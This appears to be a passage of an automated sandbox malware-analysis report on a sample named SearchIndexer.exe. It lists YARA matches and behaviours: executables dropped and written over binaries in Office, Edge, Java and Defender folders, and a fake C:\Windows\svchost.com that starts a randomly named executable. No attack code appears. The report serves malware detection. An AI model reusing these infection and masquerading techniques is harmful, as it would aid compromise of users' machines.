                              Source: Yara matchFile source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED
                              Source: Yara matchFile source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPED
                              Source: Yara matchFile source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED
                              Drops PE files with a suspicious file extension
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Windows\svchost.comJump to dropped file
                              Drops executable to a common third party application directory
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exeJump to behavior
                              Drops executables to the windows directory (C:\Windows) and starts them
                              Source: unknownExecutable created and started: C:\Windows\svchost.com
                              Source: C:\Windows\svchost.comExecutable created and started: C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe
                              Infects executable files (exe, dll, sys, html)
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXEJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSystem file written: C:\Windows\System32\SecurityHealthSystray.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Au3Check.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Users\user\AppData\Local\Temp\chrome.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Uninstall.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Au3Info.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXEJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSystem file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exeJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Users\user\Desktop\LabWdNFO.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXEJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXEJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\uWHiFCKf.logJump to dropped file
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile created: C:\Users\user\Desktop\rOKZjkQk.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exeJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exeJump to dropped file
